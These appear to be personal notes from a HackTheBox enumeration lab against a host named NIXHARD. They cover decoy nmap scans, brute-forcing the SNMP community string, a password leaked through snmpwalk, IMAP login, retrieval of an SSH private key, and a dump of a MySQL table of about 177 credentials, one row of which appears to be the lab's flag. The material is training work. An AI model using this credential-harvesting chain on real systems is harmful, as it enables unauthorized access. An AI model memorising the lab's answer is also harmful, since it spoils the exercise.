

## Hard Lab

mardi 24 septembre 2024 9:42 PM

```
└─$ sudo nmap -n -Pn -T4 10.129.10.40 -A --disable-arp-ping -D $(shuf -i 1-254 -n 5 | awk '{print "10.129.45."$1}') -p 20,21,22,23,25,53,111,110,137,138,139,143,161,162,465,445,587,623,2049,995,993,1433,3306,1521,8080
```

### 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

```
| ssh-hostkey:
| 3072 3f:4c:8f:10:f1:ae:be:cd:31:24:7c:a1:4e:ab:84:6d (RSA)
| 256 7b:30:37:67:50:b9:ad:91:c0:8f:f7:02:78:3b:7c:02 (ECDSA)
|_ 256 88:9e:0e:07:fe:ca:d0:5c:60:ab:cf:10:99:cd:6c:a7 (ED25519)
```

### 110/tcp open pop3 Dovecot pop3d

```
| ssl-cert: Subject: commonName=NIXHARD
| Subject Alternative Name: DNS:NIXHARD
| Not valid before: 2021-11-10T01:30:25
|_ Not valid after: 2031-11-08T01:30:25
|_ ssl-date: TLS randomness does not represent time
|_ pop3-capabilities: USER RESP-CODES TOP CAPA STLS UIDL PIPELINING AUTH-RESP-CODE SASL(PLAIN)
```

### 143/tcp open imap Dovecot imapd (Ubuntu)

```
|_ imap-capabilities: AUTH=PLAINA0001 IDLE listed more Pre-login STARTTLS LOGIN-REFERRALS have post-login capabilities IMAP4rev1 LITERAL+ OK ID ENABLE SASL-IR
| ssl-cert: Subject: commonName=NIXHARD
| Subject Alternative Name: DNS:NIXHARD
| Not valid before: 2021-11-10T01:30:25
|_ Not valid after: 2031-11-08T01:30:25
|_ ssl-date: TLS randomness does not represent time
```

### 993/tcp open ssl/imap Dovecot imapd (Ubuntu)

```
|_ ssl-date: TLS randomness does not represent time
|_ imap-capabilities: AUTH=PLAINA0001 IDLE listed more Pre-login LOGIN-REFERRALS have post-login capabilities IMAP4rev1 LITERAL+ OK ID ENABLE SASL-IR
| ssl-cert: Subject: commonName=NIXHARD
| Subject Alternative Name: DNS:NIXHARD
| Not valid before: 2021-11-10T01:30:25
|_ Not valid after: 2031-11-08T01:30:25
```

### 995/tcp open ssl/pop3 Dovecot pop3d

```
|_ pop3-capabilities: UIDL USER CAPA RESP-CODES PIPELINING TOP AUTH-RESP-CODE SASL(PLAIN)
| ssl-cert: Subject: commonName=NIXHARD
| Subject Alternative Name: DNS:NIXHARD
| Not valid before: 2021-11-10T01:30:25
|_ Not valid after: 2031-11-08T01:30:25
|_ ssl-date: TLS randomness does not represent time
```

UDP Scan :

```
└─$ sudo nmap -n -Pn -T4 10.129.10.40 -A -sU --max-retries 3 --disable-arp-ping -D 10.129.10.40 -p 20,21,22,23,25,53,111,110,137,138,139,143,161,162,465,445,587,623,2049,995,993,1433,3306,1521,8080
```

PORT	STATE	SERVICE	VERSION
------	-------	---------	---------

20/udp	open	filtered	ftp-data
--------	------	----------	----------

21/udp	closed		ftp
--------	--------	--	-----

22/udp	open	filtered	ssh
--------	------	----------	-----

23/udp	open	filtered	telnet
--------	------	----------	--------

25/udp	closed		smtp
--------	--------	--	------

53/udp	closed		domain
--------	--------	--	--------

110/udp	open	filtered	pop3
---------	------	----------	------

111/udp	closed		rpcbind
---------	--------	--	---------

137/udp	closed		netbios-ns
---------	--------	--	------------

138/udp	open	filtered	netbios-dgm
---------	------	----------	-------------

139/udp	closed		netbios-ssn
---------	--------	--	-------------

143/udp	open	filtered	imap
---------	------	----------	------

161/udp	open	snmp	net-snmp; net-snmp SNMPv3 server
---------	------	------	----------------------------------

snmp-info:			
------------	--	--	--

enterprise: net-snmp			
----------------------	--	--	--

engineIDFormat: unknown			
-------------------------	--	--	--

engineIDData: 5b99e75a10288b6100000000			
--	--	--	--

snmpEngineBoots: 10			
---------------------	--	--	--

_ snmpEngineTime: 15m24s			
--------------------------	--	--	--

162/udp	open	filtered	snmptrap
---------	------	----------	----------

445/udp	closed		microsoft-ds
---------	--------	--	--------------

465/udp	closed		smtps
---------	--------	--	-------

587/udp	open	filtered	submission
---------	------	----------	------------

623/udp	closed		asf-rmcp
---------	--------	--	----------

993/udp	closed		imaps
---------	--------	--	-------

995/udp	open	filtered	pop3s
---------	------	----------	-------

1433/udp	open	filtered	ms-sql-s
----------	------	----------	----------

1521/udp	open	filtered	ncube-lm
----------	------	----------	----------

2049/udp	closed		nfs
----------	--------	--	-----

3306/udp	open	filtered	mysql
----------	------	----------	-------

8080/udp closed http-alt  
Too many fingerprints match this host to give specific OS details  
Network Distance: 2 hops

## SNMP :

```
(jerbi@Anonymous)-[~/HackTheBox/footprinting]
└─$ onesixtyone -c /opt/SecLists/Discovery/SNMP/snmp.txt 10.129.10.40
Scanning 1 hosts, 3219 communities
10.129.10.40 [backup] Linux NIXHARD 5.4.0-90-generic #101-Ubuntu SMP Fri Oct 15 20:00:55 UTC 2021 x86_64
```

```
(jerbi@Anonymous)-[~/HackTheBox/footprinting]
└─$ snmp-check 10.129.10.40 -p 161 -c backup
snmp-check v1.9 - SNMP enumerator
Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)
```

[+] Try to connect to 10.129.10.40:161 using SNMPv1 and community 'backup'

[\*] System information:

```
Host IP address      : 10.129.10.40
Hostname             : NIXHARD
Description          : Linux NIXHARD 5.4.0-90-generic #101-Ubuntu SMP Fri Oct 15 20:00:55 UTC 2021 x86_64
Contact              : Admin <tech@inlanefreight.htb>
Location             : Inlanefreight
Uptime snmp          : 00:53:15.39
Uptime system        : 00:53:08.03
System date          : 2024-9-24 20:23:11.0
```

## SNMPWALK

└─\$ snmpwalk -v2c -c backup 10.129.10.40

```
iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (4) 0:00:00.04
iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (4) 0:00:00.04
iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (4) 0:00:00.04
iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (4) 0:00:00.04
iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (4) 0:00:00.04
iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (4) 0:00:00.04
iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (4) 0:00:00.04
iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (4) 0:00:00.04
iso.3.6.1.2.1.1.9.1.4.9 = Timeticks: (4) 0:00:00.04
iso.3.6.1.2.1.1.9.1.4.10 = Timeticks: (4) 0:00:00.04
iso.3.6.1.2.1.25.1.1.0 = Timeticks: (325838) 0:54:16.38
iso.3.6.1.2.1.25.1.2.0 = Hex-STRING: 07 08 09 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F
iso.3.6.1.2.1.25.1.3.0 = INTEGER: 393216
iso.3.6.1.2.1.25.1.4.0 = STRING: "ROOT_IMAGE=/vmlinuz-5.4.0-90-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro ipv6.disable=1 maybe-ubiquity"
iso.3.6.1.2.1.25.1.5.0 = Gauge32: 0
iso.3.6.1.2.1.25.1.6.0 = Gauge32: 158
iso.3.6.1.2.1.25.1.7.0 = INTEGER: 0
iso.3.6.1.2.1.25.1.7.1.1.0 = INTEGER: 1
iso.3.6.1.2.1.25.1.7.1.2.1.2.1.2.6.66.65.67.75.85.80 = STRING: "/opt/tom-recovery.sh"
iso.3.6.1.2.1.25.1.7.1.2.1.2.1.2.6.66.65.67.75.85.80 = STRING: "tom NMds732Js2761"
iso.3.6.1.2.1.25.1.7.1.2.1.4.6.66.65.67.75.85.80 = "
iso.3.6.1.2.1.25.1.7.1.2.1.5.6.66.65.67.75.85.80 = INTEGER: 5
iso.3.6.1.2.1.25.1.7.1.2.1.6.66.65.67.75.85.80 = INTEGER: 1
iso.3.6.1.2.1.25.1.7.1.2.1.7.6.66.65.67.75.85.80 = INTEGER: 1
iso.3.6.1.2.1.25.1.7.1.2.1.20.6.66.65.67.75.85.80 = INTEGER: 4
iso.3.6.1.2.1.25.1.7.1.2.1.21.6.66.65.67.75.85.80 = INTEGER: 1
iso.3.6.1.2.1.25.1.7.1.3.1.1.6.66.65.67.75.85.80 = STRING: "chpasswd: (user tom) pam_chauthtok() failed, error:"
iso.3.6.1.2.1.25.1.7.1.3.1.2.6.66.65.67.75.85.80 = STRING: "chpasswd: (user tom) pam_chauthtok() failed, error:"
Authentication token manipulation error
chpasswd: (line 1, user tom) password not changed
Changing password for tom."
iso.3.6.1.2.1.25.1.7.1.3.1.3.6.66.65.67.75.85.80 = INTEGER: 4
iso.3.6.1.2.1.25.1.7.1.3.1.4.6.66.65.67.75.85.80 = INTEGER: 1
iso.3.6.1.2.1.25.1.7.1.4.1.2.6.66.65.67.75.85.80.1 = STRING: "chpasswd: (user tom) pam_chauthtok() failed, error:"
iso.3.6.1.2.1.25.1.7.1.4.1.2.6.66.65.67.75.85.80.2 = STRING: "Authentication token manipulation error"
iso.3.6.1.2.1.25.1.7.1.4.1.2.6.66.65.67.75.85.80.3 = STRING: "chpasswd: (line 1, user tom) password not changed"
iso.3.6.1.2.1.25.1.7.1.4.1.2.6.66.65.67.75.85.80.4 = STRING: "Changing password for tom."
iso.3.6.1.2.1.25.1.7.1.4.1.2.6.66.65.67.75.85.80.4 = No more variables left in this MIB View (It is past the end of the MIB tree)
(jerbi@Anonymous)-[~/HackTheBox/footprinting]
```

Potential user : tom

Potential password : NMds732Js2761

Imap /

```
Max Early Data: 0
read 8 BLOCK
* OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LITERAL+ AUTH=PLAIN] Dovecot (Ubuntu) ready.
A1 LOGIN tom NMds732Js2761
A1 OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS THREAD=ORDEREDSUBJECT MULTIAPPEND URL-PARTIAL CATENATE UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS BINARY MOVE SNIPPET=FUZZY PREVIEW=FUZZY LITERAL+ NOTIFY SPECIAL=USE] Logged in
A2 LIST "" "*"
* LIST (\HasNoChildren) "." Notes
* LIST (\HasNoChildren) "." Meetings
* LIST (\HasNoChildren \UnMarked) "." Important
* LIST (\HasNoChildren) "." INBOX
A2 OK List completed (0.003 + 0.000 + 0.002 secs).
```

```
A3 SELECT Notes
* FLAGS (\Answered \Flagged \Deleted \Seen \Draft)
* OK [PERMANENTFLAGS (\Answered \Flagged \Deleted \Seen \Draft *)] Flags permitted.
* 0 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 1636509065] UIDs valid
* OK [UIDNEXT 1] Predicted next UID
A3 OK [READ-WRITE] Select completed (0.014 + 0.000 + 0.013 secs).
A4 SELECT Meetings
* OK [CLOSED] Previous mailbox closed.
* FLAGS (\Answered \Flagged \Deleted \Seen \Draft)
* OK [PERMANENTFLAGS (\Answered \Flagged \Deleted \Seen \Draft *)] Flags permitted.
* 0 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 1636509063] UIDs valid
* OK [UIDNEXT 1] Predicted next UID
A4 OK [READ-WRITE] Select completed (0.008 + 0.000 + 0.008 secs).
A4 SELECT Important
* OK [CLOSED] Previous mailbox closed.
* FLAGS (\Answered \Flagged \Deleted \Seen \Draft)
* OK [PERMANENTFLAGS (\Answered \Flagged \Deleted \Seen \Draft *)] Flags permitted.
* 0 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 1636509062] UIDs valid
* OK [UIDNEXT 1] Predicted next UID
A4 OK [READ-WRITE] Select completed (0.005 + 0.000 + 0.004 secs).
A5 SELECT INBOX
* OK [CLOSED] Previous mailbox closed.
* FLAGS (\Answered \Flagged \Deleted \Seen \Draft)
* OK [PERMANENTFLAGS (\Answered \Flagged \Deleted \Seen \Draft *)] Flags permitted.
* 1 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 1636509064] UIDs valid
* OK [UIDNEXT 2] Predicted next UID
A5 OK [READ-WRITE] Select completed (0.001 + 0.000 secs).
```

```
* OK [UIDNEXT 2] Predicted next UID
A5 OK [READ-WRITE] Select completed (0.001 + 0.000 secs).
A6 FETCH 1 BODY[]
+ 1 FETCH (BODY[] {3661})
HELO dev.inlanefreight.htb
MAIL FROM:<tech@dev.inlanefreight.htb>
RCPT TO:<bob@inlanefreight.htb>
DATA
From: [Admin] <tech@inlanefreight.htb>
To: <tom@inlanefreight.htb>
Date: Wed, 10 Nov 2010 14:21:26 +0200
Subject: KEY
```

-----BEGIN OPENSSH PRIVATE KEY-----

```
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
```

-----END OPENSSH PRIVATE KEY-----

New name : Bob

```

(jerbi@Anonymous)-[~/HackTheBox/Enumeration_labs/hard]
$ ssh tom@10.129.10.40 -i auth_keys
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-90-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Tue 24 Sep 2024 08:52:53 PM UTC

System load:  0.0          Processes:      178
Usage of /:   66.6% of 5.70GB Users logged in:  0
Memory usage: 32%         IPv4 address for ens192: 10.129.10.40
Swap usage:   0%

 * Super-optimized for small spaces - read how we shrank the memory
   footprint of MicroK8s to make it the smallest full K8s around.
   https://ubuntu.com/blog/microk8s-memory-optimisation

0 updates can be applied immediately.

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Nov 10 02:51:52 2021 from 10.10.14.20
tom@NIXHARD:~$

```

```

tom@NIXHARD:~$ ls -all
total 48
drwxr-xr-x 6 tom tom 4096 Nov 10 2021 .
drwxr-xr-x 5 root root 4096 Nov 10 2021 ..
-rw-r--r-- 1 tom tom 532 Nov 10 2021 .bash_history
-rw-r--r-- 1 tom tom 220 Nov 10 2021 .bash_logout
-rw-r--r-- 1 tom tom 3771 Nov 10 2021 .bashrc
drwxr-xr-x 2 tom tom 4096 Nov 10 2021 .cache
drwxr-xr-x 3 tom tom 4096 Nov 10 2021 .mail
drwxr-xr-x 8 tom tom 4096 Sep 24 20:43 .maildir
-rw-r--r-- 1 tom tom 169 Nov 10 2021 .mysql_history
-rw-r--r-- 1 tom tom 807 Nov 10 2021 .profile
drwxr-xr-x 2 tom tom 4096 Nov 10 2021 .ssh
-rw-r--r-- 1 tom tom 2018 Nov 10 2021 .viminfo
tom@NIXHARD:~$ cat .mysql_history
_HiStOrY_V2_
show\040databases;
select\040*\040from\040users;
use\040users;
select\040*\040from\040users;
show\040databases;
use\040users;
select\040*\040from\040users;
tom@NIXHARD:~$

```

```

_HiStOrY_V2_
show\040databases;
select\040*\040from\040users;
use\040users;
select\040*\040from\040users;
show\040databases;
use\040users;
select\040*\040from\040users;

```

```

tom@NIXHARD:~$ cat .bash_history
mysql -u tom -p
ssh-keygen -t rsa -b 4096
ls
ls -al
cd .ssh/
ls
cd mail/
ls
ls -al
cd .imap/
ls
cd Important/
ls
set term=xterm
vim key
cat ~/.ssh/id_rsa
vim key
ls
mv key ..
cd ..
ls
mv key Important/
mv Important/key ../
cd ..
ls
ls -l
id
cat /etc/passwd
ls
cd mail/
ls
ls -al
cd mail/
ls
rm Meetings
rm TESTING Important
ls -l
cd ..

```

```

ls
rm Meetings
rm TESTING Important
ls -l
cd ..
ls -al
mv mail/key Maildir/.Important/new/
mv Maildir/.Important/new/key Maildir/new/
cd Maildir/new/
ls
cd ..
tree .
cat cur/key
cd cur/
ls
ls -al
cat "key:2,"
mysql -u tom -p
mysql -u tom -p
tom@NIXHARD:~$

```

```

2 rows in set (0.00 sec)

mysql> SELECT user, host FROM mysql.user;
+-----+-----+
| user          | host          |
+-----+-----+
| debian-sys-maint | localhost    |
| mysql.infoschema | localhost    |
| mysql.session   | localhost    |
| mysql.sys       | localhost    |
| root           | localhost    |
| tom            | localhost    |
+-----+-----+
6 rows in set (0.00 sec)

mysql>

```

```
mysql> SELECT * FROM users
```

```

->;
+-----+-----+-----+
| id | username      | password      |
+-----+-----+-----+
| 1 | ppavlat0      | 6znAfvTbB2   |
| 2 | ktofani1      | TP2NxFD62e   |
| 3 | rallwell2     | t1t7WaqvEfv  |
| 4 | efernier3     | ZRYOBO9PI    |
| 5 | fpoon4        | 5Spyx2Jb     |
| 6 | jgurnell5     | LMCnWKD      |
| 7 | aminter6      | ngCyGg3      |
| 8 | dwattinham7   | H2bpGC5      |
| 9 | ddumphreys8   | eGek5Q8      |
| 10 | etookey9      | kXBd88ZX     |
| 11 | mlindbacka    | H9uTnlvli92  |
| 12 | awebbeb       | RALeM2lfuwaA |
| 13 | tswannellc    | oHdZWwO9     |
| 14 | slydiattd     | r3wRgn       |
| 15 | cparslowe     | nVdJAHr      |
| 16 | sheartfieldf  | ofTf0hE7OL   |
| 17 | aalvesg       | diTzuE       |
| 18 | eshilstoneh   | NVSRa5L8Lx   |
| 19 | eludovicoi    | w2uUtlGYkDi  |
| 20 | rcoppenhallj  | 8T1AO16C4pm  |
| 21 | rfuxmank       | oOVWyPyo     |
| 22 | tmoraledal    | CDNj7KH      |
| 23 | vdurdanm      | KBM4BTIdF    |
| 24 | mlandisn      | oCOZcC       |
| 25 | gfancutto     | RNHlBaFKLLt  |
| 26 | dfigliovannip | Cf7T9osx     |
| 27 | ngoedeq       | eDfTnH       |
| 28 | abalhamr      | Qc2Tia0zM    |
| 29 | tmartys       | VC65xd6o     |
| 30 | sallewllt     | Y5VSv1rm     |
| 31 | mjoyeyu       | ej3amn       |
| 32 | mgoodlifev    | lCbzNlw7B90  |
| 33 | gmargeramw    | hbVF2G       |
| 34 | leberlex      | Nj6UCAQ      |
| 35 | mtrimbyy      | jfNkfg5ZW    |
| 36 | mkimmz        | pZZepTCVlkN  |
| 37 | mflaunier10   | 9TZ8mflA     |
| 38 | vgomes11      | qM6nHjMtD    |
| 39 | sbrimham12    | FoXudHc4Ocr  |
| 40 | cbendle13     | zFUIGVbX     |
| 41 | ralgeo14      | YTB8IXOk     |
| 42 | rsandyfirth15 | vARbkPRQv    |
| 43 | bcarlesi16    | m4H6q6pH     |
| 44 | cfrude17      | Za8UHiSe25N  |
| 45 | rjullian18    | 6QyxSjg      |
| 46 | bgissing19    | fjes6w8Ovw0  |
| 47 | limore1a      | gVzkv8syQ    |
| 48 | scarlisle1b   | sR9rPBL5     |
| 49 | hamoss1c      | tbmK9XBhn57j |
| 50 | cradmored1d   | TQkfKxEI7    |
| 51 | apetican1e    | ABibihOvMOu  |
| 52 | eweber1f      | sEDynNORM7b  |
| 53 | nbockmaster1g | M1tVaH       |
| 54 | cianne1h      | Vc8agpinq    |
| 55 | khatchette1i  | xXOnQFOsF0l  |

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56	tkroger1j	uisR7g1eVEU	
57	sgladtbach1k	ilVQ4l	
58	bmockford1l	BBsZPmwk0r	
59	balabone1m	aTUbGm0	
60	jmantripp1n	DTVAdvbadbA2	
61	tchown1o	dCulXiBc	
62	vconradsen1p	v5E0sgqzo	
63	hfudge1q	cSODbEMtCm	
64	syaneev1r	ilXo6tKGHY7	
65	btheyer1s	LxNk1t	
66	fcahn1t	oSBmclx	
67	edurrington1u	LMomwfQkq3	
68	kcounter1v	1zUE6RHS	
69	bqueripel1w	0A2OfcQPnhd	
70	mnacci1x	INyUiY8U4t	
71	dcabell1y	W6Q7R3zxsB	
72	ctaleworth1z	d3JWwTj	
73	mmcgrah20	yPxlvhS	
74	jgannaway21	oGflrDxkSlo	
75	eiacovone22	8jKlhgvC	
76	rnaughton23	Gyf6awYcm4	
77	adobbins24	ashZ0G	
78	pwarbeys25	nSmfKSYW9GL	
79	bbrabbins26	YZWuH6D8Q	
80	adandy27	df1VPsn	
81	mfarrrens28	ucPclA8K9c	
82	dhaysar29	MeGziGeyKXyw	
83	efoot2a	Q2ks5eg	
84	tpelosi2b	8yjhdx	
85	binman2c	3uO3PeL8e	
86	krait2d	EFD5FpEtu2	
87	jcrook2e	VFsdmvhDz4O	
88	falonso2f	4ifO54	
89	jmacak2g	KUDAxTXU	
90	nnorville2h	WCYa9C1G	
91	tlevington2i	If46bHoGr	
92	abartak2j	erFX4u0e0	
93	jgoad2k	gunnsPy1pMcD	
94	dwadham2l	89liRFy0frst	
95	hvenditti2m	NS0U18XON	
96	gpitchers2n	j7RVE2	
97	aiskowitz2o	8iVpSQUExn2K	
98	gcars2p	8i3nsQU9wp	
99	bjacke2q	2PtrAOC	
100	fstorton2r	Xmjbfr1vK1	
101	pbrinded2s	Jf9uWJ	
102	penriques2t	o3kmQ5zHF5Qb	
103	awinckworth2u	LEwOydD3nncQ	
104	lkinsell2v	kvoIzupHnt	
105	wdavisson2w	nk5HVS	
106	rrenzini2x	LiCccRxumYU	
107	kdavys2y	ZXpRVEn	
108	ravann2z	YLkKN4JzzM	
109	hrallings30	6wS4x0leLW	
110	sbrackpool31	lBa8AVaPQg	
111	epulham32	ylV88FM9DM	
112	mspeachley33	Jsa9aUv1h	
113	vforkan34	26Q6gTgsOE8T	
114	jprichard35	sggVPPMfRA3T	
115	abisatt36	GcSIkluky	
116	todocherty37	Bw5fFV3qj	
117	njayne38	D8yr44NNQ	
118	gwhyman39	h0WJ4p2F2x8	
119	lkristoffersson3a	mARndSF	
120	lmcallan3b	gmpkAKF	
121	kdouble3c	qYtstjmdR	
122	sgooding3d	venoolUMMHE	
123	lgaffney3e	1fCwgoaCtz	
124	emuriel3f	Wz582Y22	
125	mlamasna3g	MhqsPNMRYwJE	
126	omander3h	CuB3JbXJ	
127	fropkes3i	jVBeawjIPXS	
128	mhawk3j	g0sPpl8	
129	wseres3k	zgsXeR7blA	
130	bflaws3l	OdTvgBkaFYqi	
131	ccyson3m	EtCscA	
132	afowell3n	cRG0x5	
133	jmolian3o	fCwa9ry	
134	gterzo3p	Srv77g	
135	ravrahamy3q	dJffFMEJ	
136	amaden3r	n1WAtKT	
137	gdeverall3s	1Vj3bbr	
138	ejansema3t	4MyiArdEVq	
139	snormanville3u	lIs9Ao9omd	
140	nfinder3v	Rd1POwc3	
141	lrodway3w	UNW82GQfd0q	
142	lstening3x	JaSkR0wU83UB	
143	hemer3y	GIpPKB	
144	eblamphin3z	7Zjz7RvcC9x	
145	lwederell40	eyWsjl	
146	nverick41	Mr1r2H	
147	mlawlie42	XrHEZJbuUd	

148	swahlberg43	46gOiZ	
149	crubinivitz44	FLlYii1mQz84	
150	HTB	cr3n4o7rzse7rzhnckhssncif7ds	
151	wdoswell46	FYXMueIbVcS	
152	ccollingwood47	LM6SU2N3w7KQ	
153	nfoux48	N40DfFww	
154	gboyat49	W1LDy7	
155	csuddick4a	UIGXl3lL	
156	tmatieu4b	c5PYl7yfii	
157	ielsy4c	3hLC705Oj	
158	ebotwood4d	aQmW5c7	
159	gcirlos4e	SPsU9obCa	
160	smucklestone4f	Ho96mUx	
161	hdain4g	BGMRTb	
162	dmcquillin4h	37kwHEdFhAIL	
163	gfolan4i	1d9kcofM	
164	gtamlett4j	4HlL18RM37l3	
165	cchappelle4k	xezsRgOt8OW8	
166	channy4l	68lHKp	
167	ffennick4m	jNLPcEyoYY	
168	mmcgarrrell4n	Ttvat7Wvkl	
169	mmcdowell4o	jfOR6B	
170	sconquer4p	ase5Qid5vWD	
171	hskune4q	UUoqC30g5w	
172	mblasli4r	dcjNDHzrA	
173	sefford4s	ui0r4FKwD38	
174	gscotter4t	f2vUKUzHlMew	
175	nmenhenitt4u	gXHcelNuKdF	
176	laldridge4v	7o4agC3m	
177	rlingner4w	8mYREIR7	
